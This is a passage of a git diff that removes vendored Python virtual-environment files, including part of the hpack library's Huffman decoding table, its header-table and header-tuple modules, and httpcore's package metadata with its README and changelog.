HUFFMAN_EMIT_SYMBOL, 21), - (15, HUFFMAN_EMIT_SYMBOL, 21), - (24, HUFFMAN_EMIT_SYMBOL, 21), - (31, HUFFMAN_EMIT_SYMBOL, 21), - (41, HUFFMAN_EMIT_SYMBOL, 21), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 21), - (3, HUFFMAN_EMIT_SYMBOL, 23), - (6, HUFFMAN_EMIT_SYMBOL, 23), - (10, HUFFMAN_EMIT_SYMBOL, 23), - (15, HUFFMAN_EMIT_SYMBOL, 23), - (24, HUFFMAN_EMIT_SYMBOL, 23), - (31, HUFFMAN_EMIT_SYMBOL, 23), - (41, HUFFMAN_EMIT_SYMBOL, 23), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 23), - - # Node 243 - (2, HUFFMAN_EMIT_SYMBOL, 24), - (9, HUFFMAN_EMIT_SYMBOL, 24), - (23, HUFFMAN_EMIT_SYMBOL, 24), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 24), - (2, HUFFMAN_EMIT_SYMBOL, 25), - (9, HUFFMAN_EMIT_SYMBOL, 25), - (23, HUFFMAN_EMIT_SYMBOL, 25), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 25), - (2, HUFFMAN_EMIT_SYMBOL, 26), - (9, HUFFMAN_EMIT_SYMBOL, 26), - (23, HUFFMAN_EMIT_SYMBOL, 26), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 26), - (2, HUFFMAN_EMIT_SYMBOL, 27), - (9, HUFFMAN_EMIT_SYMBOL, 27), - (23, HUFFMAN_EMIT_SYMBOL, 27), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 27), - - # Node 244 - (3, HUFFMAN_EMIT_SYMBOL, 24), - (6, HUFFMAN_EMIT_SYMBOL, 24), - (10, HUFFMAN_EMIT_SYMBOL, 24), - (15, HUFFMAN_EMIT_SYMBOL, 24), - (24, HUFFMAN_EMIT_SYMBOL, 24), - (31, HUFFMAN_EMIT_SYMBOL, 24), - (41, HUFFMAN_EMIT_SYMBOL, 24), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 24), - (3, HUFFMAN_EMIT_SYMBOL, 25), - (6, HUFFMAN_EMIT_SYMBOL, 25), - (10, HUFFMAN_EMIT_SYMBOL, 25), - (15, HUFFMAN_EMIT_SYMBOL, 25), - (24, HUFFMAN_EMIT_SYMBOL, 25), - (31, HUFFMAN_EMIT_SYMBOL, 25), - (41, HUFFMAN_EMIT_SYMBOL, 25), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 25), - - # Node 245 - (3, HUFFMAN_EMIT_SYMBOL, 26), - (6, HUFFMAN_EMIT_SYMBOL, 26), - (10, HUFFMAN_EMIT_SYMBOL, 26), - (15, HUFFMAN_EMIT_SYMBOL, 26), - (24, HUFFMAN_EMIT_SYMBOL, 26), - (31, HUFFMAN_EMIT_SYMBOL, 26), - (41, HUFFMAN_EMIT_SYMBOL, 26), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 26), - (3, HUFFMAN_EMIT_SYMBOL, 27), - (6, HUFFMAN_EMIT_SYMBOL, 27), - (10, HUFFMAN_EMIT_SYMBOL, 27), - (15, HUFFMAN_EMIT_SYMBOL, 27), - (24, HUFFMAN_EMIT_SYMBOL, 27), - (31, HUFFMAN_EMIT_SYMBOL, 27), - (41, HUFFMAN_EMIT_SYMBOL, 27), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 27), - - # Node 246 - (1, HUFFMAN_EMIT_SYMBOL, 28), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 28), - (1, HUFFMAN_EMIT_SYMBOL, 29), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 29), - (1, HUFFMAN_EMIT_SYMBOL, 30), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 30), - (1, HUFFMAN_EMIT_SYMBOL, 31), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 31), - (1, HUFFMAN_EMIT_SYMBOL, 127), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 127), - (1, HUFFMAN_EMIT_SYMBOL, 220), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 220), - (1, HUFFMAN_EMIT_SYMBOL, 249), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 249), - (254, 0, 0), - (255, 0, 0), - - # Node 247 - (2, HUFFMAN_EMIT_SYMBOL, 28), - (9, HUFFMAN_EMIT_SYMBOL, 28), - (23, HUFFMAN_EMIT_SYMBOL, 28), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 28), - (2, HUFFMAN_EMIT_SYMBOL, 29), - (9, HUFFMAN_EMIT_SYMBOL, 29), - (23, HUFFMAN_EMIT_SYMBOL, 29), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 29), - (2, HUFFMAN_EMIT_SYMBOL, 30), - (9, HUFFMAN_EMIT_SYMBOL, 30), - (23, HUFFMAN_EMIT_SYMBOL, 30), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 30), - (2, HUFFMAN_EMIT_SYMBOL, 31), - (9, HUFFMAN_EMIT_SYMBOL, 31), - (23, HUFFMAN_EMIT_SYMBOL, 31), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 31), - - # Node 248 - (3, HUFFMAN_EMIT_SYMBOL, 28), - (6, HUFFMAN_EMIT_SYMBOL, 28), - (10, HUFFMAN_EMIT_SYMBOL, 28), - (15, HUFFMAN_EMIT_SYMBOL, 28), - (24, HUFFMAN_EMIT_SYMBOL, 28), - (31, HUFFMAN_EMIT_SYMBOL, 28), - (41, HUFFMAN_EMIT_SYMBOL, 28), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 28), - (3, HUFFMAN_EMIT_SYMBOL, 29), - (6, HUFFMAN_EMIT_SYMBOL, 29), - (10, HUFFMAN_EMIT_SYMBOL, 29), - (15, HUFFMAN_EMIT_SYMBOL, 29), - (24, HUFFMAN_EMIT_SYMBOL, 29), - (31, HUFFMAN_EMIT_SYMBOL, 29), - (41, HUFFMAN_EMIT_SYMBOL, 29), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 29), - - # Node 249 - (3, HUFFMAN_EMIT_SYMBOL, 30), - (6, HUFFMAN_EMIT_SYMBOL, 30), - (10, HUFFMAN_EMIT_SYMBOL, 30), - (15, HUFFMAN_EMIT_SYMBOL, 30), - (24, HUFFMAN_EMIT_SYMBOL, 30), - (31, HUFFMAN_EMIT_SYMBOL, 30), - (41, HUFFMAN_EMIT_SYMBOL, 30), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 30), - (3, HUFFMAN_EMIT_SYMBOL, 31), - (6, HUFFMAN_EMIT_SYMBOL, 31), - (10, HUFFMAN_EMIT_SYMBOL, 31), - (15, HUFFMAN_EMIT_SYMBOL, 31), - (24, HUFFMAN_EMIT_SYMBOL, 31), - (31, HUFFMAN_EMIT_SYMBOL, 31), - (41, HUFFMAN_EMIT_SYMBOL, 31), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 31), - - # Node 250 - (2, HUFFMAN_EMIT_SYMBOL, 127), - (9, HUFFMAN_EMIT_SYMBOL, 127), - (23, HUFFMAN_EMIT_SYMBOL, 127), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 127), - (2, HUFFMAN_EMIT_SYMBOL, 220), - (9, HUFFMAN_EMIT_SYMBOL, 220), - (23, HUFFMAN_EMIT_SYMBOL, 220), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 220), - (2, HUFFMAN_EMIT_SYMBOL, 249), - (9, HUFFMAN_EMIT_SYMBOL, 249), - (23, HUFFMAN_EMIT_SYMBOL, 249), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 249), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 10), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 13), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 22), - (0, HUFFMAN_FAIL, 0), - - # Node 251 - (3, HUFFMAN_EMIT_SYMBOL, 127), - (6, HUFFMAN_EMIT_SYMBOL, 127), - (10, HUFFMAN_EMIT_SYMBOL, 127), - (15, HUFFMAN_EMIT_SYMBOL, 127), - (24, HUFFMAN_EMIT_SYMBOL, 127), - (31, HUFFMAN_EMIT_SYMBOL, 127), - (41, HUFFMAN_EMIT_SYMBOL, 127), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 127), - (3, HUFFMAN_EMIT_SYMBOL, 220), - (6, HUFFMAN_EMIT_SYMBOL, 220), - (10, HUFFMAN_EMIT_SYMBOL, 220), - (15, HUFFMAN_EMIT_SYMBOL, 220), - (24, HUFFMAN_EMIT_SYMBOL, 220), - (31, HUFFMAN_EMIT_SYMBOL, 220), - (41, HUFFMAN_EMIT_SYMBOL, 220), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 220), - - # Node 252 - (3, HUFFMAN_EMIT_SYMBOL, 249), - (6, HUFFMAN_EMIT_SYMBOL, 249), - (10, HUFFMAN_EMIT_SYMBOL, 249), - (15, HUFFMAN_EMIT_SYMBOL, 249), - (24, HUFFMAN_EMIT_SYMBOL, 249), - (31, HUFFMAN_EMIT_SYMBOL, 249), - (41, HUFFMAN_EMIT_SYMBOL, 249), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 249), - (1, HUFFMAN_EMIT_SYMBOL, 10), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 10), - (1, HUFFMAN_EMIT_SYMBOL, 13), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 13), - (1, HUFFMAN_EMIT_SYMBOL, 22), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 22), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), - - # Node 253 - (2, HUFFMAN_EMIT_SYMBOL, 10), - (9, HUFFMAN_EMIT_SYMBOL, 10), - (23, HUFFMAN_EMIT_SYMBOL, 10), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 10), - (2, HUFFMAN_EMIT_SYMBOL, 13), - (9, HUFFMAN_EMIT_SYMBOL, 13), - (23, HUFFMAN_EMIT_SYMBOL, 13), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 13), - (2, HUFFMAN_EMIT_SYMBOL, 22), - (9, HUFFMAN_EMIT_SYMBOL, 22), - (23, HUFFMAN_EMIT_SYMBOL, 22), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 22), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), - - # Node 254 - (3, HUFFMAN_EMIT_SYMBOL, 10), - (6, HUFFMAN_EMIT_SYMBOL, 10), - (10, HUFFMAN_EMIT_SYMBOL, 10), - (15, HUFFMAN_EMIT_SYMBOL, 10), - (24, HUFFMAN_EMIT_SYMBOL, 10), - (31, HUFFMAN_EMIT_SYMBOL, 10), - (41, HUFFMAN_EMIT_SYMBOL, 10), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 10), - (3, HUFFMAN_EMIT_SYMBOL, 13), - (6, HUFFMAN_EMIT_SYMBOL, 13), - (10, HUFFMAN_EMIT_SYMBOL, 13), - (15, HUFFMAN_EMIT_SYMBOL, 13), - (24, HUFFMAN_EMIT_SYMBOL, 13), - (31, HUFFMAN_EMIT_SYMBOL, 13), - (41, HUFFMAN_EMIT_SYMBOL, 13), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 13), - - # Node 255 - (3, HUFFMAN_EMIT_SYMBOL, 22), - (6, HUFFMAN_EMIT_SYMBOL, 22), - (10, HUFFMAN_EMIT_SYMBOL, 22), - (15, HUFFMAN_EMIT_SYMBOL, 22), - (24, HUFFMAN_EMIT_SYMBOL, 22), - (31, HUFFMAN_EMIT_SYMBOL, 22), - (41, HUFFMAN_EMIT_SYMBOL, 22), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 22), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), - (0, HUFFMAN_FAIL, 0), -] diff --git a/venv/Lib/site-packages/hpack/py.typed b/venv/Lib/site-packages/hpack/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/hpack/struct.py b/venv/Lib/site-packages/hpack/struct.py deleted file mode 100644 index 9a4cfb1c624b3fff025140177083001918103876..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack/struct.py +++ /dev/null @@ -1,50 +0,0 @@ -""" -Contains structures for representing header fields with associated metadata. -""" -from __future__ import annotations - -from typing import TYPE_CHECKING, Any - -if TYPE_CHECKING: - from typing_extensions import Self, TypeAlias # noqa: UP035, pragma: no cover - - -class HeaderTuple(tuple[bytes, bytes]): - """ - A data structure that stores a single header field. - - HTTP headers can be thought of as tuples of ``(field name, field value)``. - A single header block is a sequence of such tuples. - - In HTTP/2, however, certain bits of additional information are required for - compressing these headers: in particular, whether the header field can be - safely added to the HPACK compression context. - - This class stores a header that can be added to the compression context. In - all other ways it behaves exactly like a tuple. - """ - - __slots__ = () - - indexable = True - - def __new__(cls, *args: Any) -> Self: - return tuple.__new__(cls, args) - - -class NeverIndexedHeaderTuple(HeaderTuple): - """ - A data structure that stores a single header field that cannot be added to - a HTTP/2 header compression context. - """ - - __slots__ = () - - indexable = False - - def __new__(cls, *args: Any) -> Self: - return tuple.__new__(cls, args) - - -Header: TypeAlias = "HeaderTuple | NeverIndexedHeaderTuple | tuple[bytes, bytes]" -HeaderWeaklyTyped: TypeAlias = "HeaderTuple | NeverIndexedHeaderTuple | tuple[bytes | str, bytes | str]" diff --git a/venv/Lib/site-packages/hpack/table.py b/venv/Lib/site-packages/hpack/table.py deleted file mode 100644 index 7b5338bb0367010c4be086b90abab74f87329e51..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack/table.py +++ /dev/null @@ -1,237 +0,0 @@ -# flake8: noqa -from collections import deque -import logging -from typing import Optional - -from .exceptions import InvalidTableIndex - -log = logging.getLogger(__name__) - - -def table_entry_size(name: bytes, value: bytes) -> int: - """ - Calculates the size of a single entry - - This size is mostly irrelevant to us and defined - specifically to accommodate memory management for - lower level implementations. The 32 extra bytes are - considered the "maximum" overhead that would be - required to represent each entry in the table. - - See RFC7541 Section 4.1 - """ - return 32 + len(name) + len(value) - - -class HeaderTable: - """ - Implements the combined static and dynamic header table - - The name and value arguments for all the functions - should ONLY be byte strings (b'') however this is not - strictly enforced in the interface. - - See RFC7541 Section 2.3 - """ - #: Default maximum size of the dynamic table. See - #: RFC7540 Section 6.5.2. - DEFAULT_SIZE = 4096 - - #: Constant list of static headers. See RFC7541 Section - #: 2.3.1 and Appendix A - STATIC_TABLE = ( - (b':authority' , b'' ), # noqa - (b':method' , b'GET' ), # noqa - (b':method' , b'POST' ), # noqa - (b':path' , b'/' ), # noqa - (b':path' , b'/index.html' ), # noqa - (b':scheme' , b'http' ), # noqa - (b':scheme' , b'https' ), # noqa - (b':status' , b'200' ), # noqa - (b':status' , b'204' ), # noqa - (b':status' , b'206' ), # noqa - (b':status' , b'304' ), # noqa - (b':status' , b'400' ), # noqa - (b':status' , b'404' ), # noqa - (b':status' , b'500' ), # noqa - (b'accept-charset' , b'' ), # noqa - (b'accept-encoding' , b'gzip, deflate'), # noqa - (b'accept-language' , b'' ), # noqa - (b'accept-ranges' , b'' ), # noqa - (b'accept' , b'' ), # noqa - (b'access-control-allow-origin' , b'' ), # noqa - (b'age' , b'' ), # noqa - (b'allow' , b'' ), # noqa - (b'authorization' , b'' ), # noqa - (b'cache-control' , b'' ), # noqa - (b'content-disposition' , b'' ), # noqa - (b'content-encoding' , b'' ), # noqa - (b'content-language' , b'' ), # noqa - (b'content-length' , b'' ), # noqa - (b'content-location' , b'' ), # noqa - (b'content-range' , b'' ), # noqa - (b'content-type' , b'' ), # noqa - (b'cookie' , b'' ), # noqa - (b'date' , b'' ), # noqa - (b'etag' , b'' ), # noqa - (b'expect' , b'' ), # noqa - (b'expires' , b'' ), # noqa - (b'from' , b'' ), # noqa - (b'host' , b'' ), # noqa - (b'if-match' , b'' ), # noqa - (b'if-modified-since' , b'' ), # noqa - (b'if-none-match' , b'' ), # noqa - (b'if-range' , b'' ), # noqa - (b'if-unmodified-since' , b'' ), # noqa - (b'last-modified' , b'' ), # noqa - (b'link' , b'' ), # noqa - (b'location' , b'' ), # noqa - (b'max-forwards' , b'' ), # noqa - (b'proxy-authenticate' , b'' ), # noqa - (b'proxy-authorization' , b'' ), # noqa - (b'range' , b'' ), # noqa - (b'referer' , b'' ), # noqa - (b'refresh' , b'' ), # noqa - (b'retry-after' , b'' ), # noqa - (b'server' , b'' ), # noqa - (b'set-cookie' , b'' ), # noqa - (b'strict-transport-security' , b'' ), # noqa - (b'transfer-encoding' , b'' ), # noqa - (b'user-agent' , b'' ), # noqa - (b'vary' , b'' ), # noqa - (b'via' , b'' ), # noqa - (b'www-authenticate' , b'' ), # noqa - ) # noqa - - STATIC_TABLE_LENGTH = len(STATIC_TABLE) - - STATIC_TABLE_MAPPING: dict[bytes, tuple[int, dict[bytes, int]]] - - def __init__(self) -> None: - self._maxsize = HeaderTable.DEFAULT_SIZE - self._current_size = 0 - self.resized = False - self.dynamic_entries: deque[tuple[bytes, bytes]] = deque() - - def get_by_index(self, index: int) -> tuple[bytes, bytes]: - """ - Returns the entry specified by index - - Note that the table is 1-based ie an index of 0 is - invalid. This is due to the fact that a zero value - index signals that a completely unindexed header - follows. - - The entry will either be from the static table or - the dynamic table depending on the value of index. - """ - original_index = index - index -= 1 - if 0 <= index: - if index < HeaderTable.STATIC_TABLE_LENGTH: - return HeaderTable.STATIC_TABLE[index] - - index -= HeaderTable.STATIC_TABLE_LENGTH - if index < len(self.dynamic_entries): - return self.dynamic_entries[index] - - raise InvalidTableIndex("Invalid table index %d" % original_index) - - def __repr__(self) -> str: - return "HeaderTable(%d, %s, %r)" % ( - self._maxsize, - self.resized, - self.dynamic_entries - ) - - def add(self, name: bytes, value: bytes) -> None: - """ - Adds a new entry to the table - - We reduce the table size if the entry will make the - table size greater than maxsize. - """ - # We just clear the table if the entry is too big - size = table_entry_size(name, value) - if size > self._maxsize: - self.dynamic_entries.clear() - self._current_size = 0 - else: - # Add new entry - self.dynamic_entries.appendleft((name, value)) - self._current_size += size - self._shrink() - - def search(self, name: bytes, value: bytes) -> Optional[tuple[int, bytes, Optional[bytes]]]: - """ - Searches the table for the entry specified by name - and value - - Returns one of the following: - - ``None``, no match at all - - ``(index, name, None)`` for partial matches on name only. - - ``(index, name, value)`` for perfect matches. - """ - partial = None - - header_name_search_result = HeaderTable.STATIC_TABLE_MAPPING.get(name) - if header_name_search_result: - index = header_name_search_result[1].get(value) - if index is not None: - return index, name, value - else: - partial = (header_name_search_result[0], name, None) - - offset = HeaderTable.STATIC_TABLE_LENGTH + 1 - for (i, (n, v)) in enumerate(self.dynamic_entries): - if n == name: - if v == value: - return i + offset, n, v - elif partial is None: - partial = (i + offset, n, None) - return partial - - @property - def maxsize(self) -> int: - return self._maxsize - - @maxsize.setter - def maxsize(self, newmax: int) -> None: - newmax = int(newmax) - log.debug("Resizing header table to %d from %d", newmax, self._maxsize) - oldmax = self._maxsize - self._maxsize = newmax - self.resized = (newmax != oldmax) - if newmax <= 0: - self.dynamic_entries.clear() - self._current_size = 0 - elif oldmax > newmax: - self._shrink() - - def _shrink(self) -> None: - """ - Shrinks the dynamic table to be at or below maxsize - """ - cursize = self._current_size - while cursize > self._maxsize: - name, value = self.dynamic_entries.pop() - cursize -= table_entry_size(name, value) - log.debug("Evicting %s: %s from the header table", name, value) - self._current_size = cursize - - -def _build_static_table_mapping() -> dict[bytes, tuple[int, dict[bytes, int]]]: - """ - Build static table mapping from header name to tuple with next structure: - (, ). - - static_table_mapping used for hash searching. - """ - static_table_mapping: dict[bytes, tuple[int, dict[bytes, int]]] = {} - for index, (name, value) in enumerate(HeaderTable.STATIC_TABLE, 1): - header_name_search_result = static_table_mapping.setdefault(name, (index, {})) - header_name_search_result[1][value] = index - return static_table_mapping - - -HeaderTable.STATIC_TABLE_MAPPING = _build_static_table_mapping() diff --git a/venv/Lib/site-packages/httpcore-1.0.9.dist-info/INSTALLER b/venv/Lib/site-packages/httpcore-1.0.9.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore-1.0.9.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/httpcore-1.0.9.dist-info/METADATA b/venv/Lib/site-packages/httpcore-1.0.9.dist-info/METADATA deleted file mode 100644 index 8056834e6714b089ef49847820064a1ae4b041fd..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore-1.0.9.dist-info/METADATA +++ /dev/null @@ -1,625 +0,0 @@ -Metadata-Version: 2.4 -Name: httpcore -Version: 1.0.9 -Summary: A minimal low-level HTTP client. -Project-URL: Documentation, https://www.encode.io/httpcore -Project-URL: Homepage, https://www.encode.io/httpcore/ -Project-URL: Source, https://github.com/encode/httpcore -Author-email: Tom Christie -License-Expression: BSD-3-Clause -License-File: LICENSE.md -Classifier: Development Status :: 3 - Alpha -Classifier: Environment :: Web Environment -Classifier: Framework :: AsyncIO -Classifier: Framework :: Trio -Classifier: Intended Audience :: Developers -Classifier: License :: OSI Approved :: BSD License -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3 :: Only -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Topic :: Internet :: WWW/HTTP -Requires-Python: >=3.8 -Requires-Dist: certifi -Requires-Dist: h11>=0.16 -Provides-Extra: asyncio -Requires-Dist: anyio<5.0,>=4.0; extra == 'asyncio' -Provides-Extra: http2 -Requires-Dist: h2<5,>=3; extra == 'http2' -Provides-Extra: socks -Requires-Dist: socksio==1.*; extra == 'socks' -Provides-Extra: trio -Requires-Dist: trio<1.0,>=0.22.0; extra == 'trio' -Description-Content-Type: text/markdown - -# HTTP Core - -[![Test Suite](https://github.com/encode/httpcore/workflows/Test%20Suite/badge.svg)](https://github.com/encode/httpcore/actions) -[![Package version](https://badge.fury.io/py/httpcore.svg)](https://pypi.org/project/httpcore/) - -> *Do one thing, and do it well.* - -The HTTP Core package provides a minimal low-level HTTP client, which does -one thing only. Sending HTTP requests. - -It does not provide any high level model abstractions over the API, -does not handle redirects, multipart uploads, building authentication headers, -transparent HTTP caching, URL parsing, session cookie handling, -content or charset decoding, handling JSON, environment based configuration -defaults, or any of that Jazz. - -Some things HTTP Core does do: - -* Sending HTTP requests. -* Thread-safe / task-safe connection pooling. -* HTTP(S) proxy & SOCKS proxy support. -* Supports HTTP/1.1 and HTTP/2. -* Provides both sync and async interfaces. -* Async backend support for `asyncio` and `trio`. - -## Requirements - -Python 3.8+ - -## Installation - -For HTTP/1.1 only support, install with: - -```shell -$ pip install httpcore -``` - -There are also a number of optional extras available... - -```shell -$ pip install httpcore['asyncio,trio,http2,socks'] -``` - -## Sending requests - -Send an HTTP request: - -```python -import httpcore - -response = httpcore.request("GET", "https://www.example.com/") - -print(response) -# -print(response.status) -# 200 -print(response.headers) -# [(b'Accept-Ranges', b'bytes'), (b'Age', b'557328'), (b'Cache-Control', b'max-age=604800'), ...] -print(response.content) -# b'\n\n\nExample Domain\n\n\n ...' -``` - -The top-level `httpcore.request()` function is provided for convenience. In practice whenever you're working with `httpcore` you'll want to use the connection pooling functionality that it provides. - -```python -import httpcore - -http = httpcore.ConnectionPool() -response = http.request("GET", "https://www.example.com/") -``` - -Once you're ready to get going, [head over to the documentation](https://www.encode.io/httpcore/). - -## Motivation - -You *probably* don't want to be using HTTP Core directly. It might make sense if -you're writing something like a proxy service in Python, and you just want -something at the lowest possible level, but more typically you'll want to use -a higher level client library, such as `httpx`. - -The motivation for `httpcore` is: - -* To provide a reusable low-level client library, that other packages can then build on top of. -* To provide a *really clear interface split* between the networking code and client logic, - so that each is easier to understand and reason about in isolation. - -## Dependencies - -The `httpcore` package has the following dependencies... - -* `h11` -* `certifi` - -And the following optional extras... - -* `anyio` - Required by `pip install httpcore['asyncio']`. -* `trio` - Required by `pip install httpcore['trio']`. -* `h2` - Required by `pip install httpcore['http2']`. -* `socksio` - Required by `pip install httpcore['socks']`. - -## Versioning - -We use [SEMVER for our versioning policy](https://semver.org/). - -For changes between package versions please see our [project changelog](CHANGELOG.md). - -We recommend pinning your requirements either the most current major version, or a more specific version range: - -```python -pip install 'httpcore==1.*' -``` -# Changelog - -All notable changes to this project will be documented in this file. - -The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - -## Version 1.0.9 (April 24th, 2025) - -- Resolve https://github.com/advisories/GHSA-vqfr-h8mv-ghfj with h11 dependency update. (#1008) - -## Version 1.0.8 (April 11th, 2025) - -- Fix `AttributeError` when importing on Python 3.14. (#1005) - -## Version 1.0.7 (November 15th, 2024) - -- Support `proxy=…` configuration on `ConnectionPool()`. (#974) - -## Version 1.0.6 (October 1st, 2024) - -- Relax `trio` dependency pinning. (#956) -- Handle `trio` raising `NotImplementedError` on unsupported platforms. (#955) -- Handle mapping `ssl.SSLError` to `httpcore.ConnectError`. (#918) - -## 1.0.5 (March 27th, 2024) - -- Handle `EndOfStream` exception for anyio backend. (#899) -- Allow trio `0.25.*` series in package dependancies. (#903) - -## 1.0.4 (February 21st, 2024) - -- Add `target` request extension. (#888) -- Fix support for connection `Upgrade` and `CONNECT` when some data in the stream has been read. (#882) - -## 1.0.3 (February 13th, 2024) - -- Fix support for async cancellations. (#880) -- Fix trace extension when used with socks proxy. (#849) -- Fix SSL context for connections using the "wss" scheme (#869) - -## 1.0.2 (November 10th, 2023) - -- Fix `float("inf")` timeouts in `Event.wait` function. (#846) - -## 1.0.1 (November 3rd, 2023) - -- Fix pool timeout to account for the total time spent retrying. (#823) -- Raise a neater RuntimeError when the correct async deps are not installed. (#826) -- Add support for synchronous TLS-in-TLS streams. (#840) - -## 1.0.0 (October 6th, 2023) - -From version 1.0 our async support is now optional, as the package has minimal dependencies by default. - -For async support use either `pip install 'httpcore[asyncio]'` or `pip install 'httpcore[trio]'`. - -The project versioning policy is now explicitly governed by SEMVER. See https://semver.org/. - -- Async support becomes fully optional. (#809) -- Add support for Python 3.12. (#807) - -## 0.18.0 (September 8th, 2023) - -- Add support for HTTPS proxies. (#745, #786) -- Drop Python 3.7 support. (#727) -- Handle `sni_hostname` extension with SOCKS proxy. (#774) -- Handle HTTP/1.1 half-closed connections gracefully. (#641) -- Change the type of `Extensions` from `Mapping[Str, Any]` to `MutableMapping[Str, Any]`. (#762) - -## 0.17.3 (July 5th, 2023) - -- Support async cancellations, ensuring that the connection pool is left in a clean state when cancellations occur. (#726) -- The networking backend interface has [been added to the public API](https://www.encode.io/httpcore/network-backends). Some classes which were previously private implementation detail are now part of the top-level public API. (#699) -- Graceful handling of HTTP/2 GoAway frames, with requests being transparently retried on a new connection. (#730) -- Add exceptions when a synchronous `trace callback` is passed to an asynchronous request or an asynchronous `trace callback` is passed to a synchronous request. (#717) -- Drop Python 3.7 support. (#727) - -## 0.17.2 (May 23th, 2023) - -- Add `socket_options` argument to `ConnectionPool` and `HTTProxy` classes. (#668) -- Improve logging with per-module logger names. (#690) -- Add `sni_hostname` request extension. (#696) -- Resolve race condition during import of `anyio` package. (#692) -- Enable TCP_NODELAY for all synchronous sockets. (#651) - -## 0.17.1 (May 17th, 2023) - -- If 'retries' is set, then allow retries if an SSL handshake error occurs. (#669) -- Improve correctness of tracebacks on network exceptions, by raising properly chained exceptions. (#678) -- Prevent connection-hanging behaviour when HTTP/2 connections are closed by a server-sent 'GoAway' frame. (#679) -- Fix edge-case exception when removing requests from the connection pool. (#680) -- Fix pool timeout edge-case. (#688) - -## 0.17.0 (March 16th, 2023) - -- Add DEBUG level logging. (#648) -- Respect HTTP/2 max concurrent streams when settings updates are sent by server. (#652) -- Increase the allowable HTTP header size to 100kB. (#647) -- Add `retries` option to SOCKS proxy classes. (#643) - -## 0.16.3 (December 20th, 2022) - -- Allow `ws` and `wss` schemes. Allows us to properly support websocket upgrade connections. (#625) -- Forwarding HTTP proxies use a connection-per-remote-host. Required by some proxy implementations. (#637) -- Don't raise `RuntimeError` when closing a connection pool with active connections. Removes some error cases when cancellations are used. (#631) -- Lazy import `anyio`, so that it's no longer a hard dependancy, and isn't imported if unused. (#639) - -## 